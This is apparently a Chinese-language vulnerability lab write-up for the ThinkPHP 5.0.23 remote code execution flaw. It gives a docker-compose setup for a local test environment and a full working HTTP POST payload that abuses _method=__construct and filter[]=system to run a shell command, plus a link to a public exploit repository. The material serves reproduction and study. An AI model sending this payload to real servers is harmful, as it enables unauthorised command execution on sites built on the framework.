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46 lines
1.2 KiB
Markdown
46 lines
1.2 KiB
Markdown
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# ThinkPHP5 5.0.23 远程代码执行漏洞
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## 漏洞描述
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ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中，获取 method 的方法中没有正确处理方法名，导致攻击者可以调用 Request 类任意方法并构造利用链，从而导致远程代码执行漏洞。
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参考链接：
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- https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
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## 环境搭建
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执行如下命令启动一个默认的 thinkphp 5.0.23 环境：
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```
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8080/index.php` 即可看到默认的 ThinkPHP 启动页面。
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## 漏洞复现
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发送数据包：
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```
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POST /index.php?s=captcha HTTP/1.1
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Host: your-vps-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 72
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_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
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```
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成功执行 `id` 命令：
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## 开源 POC/EXP
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- https://github.com/sukabuliet/ThinkphpRCE
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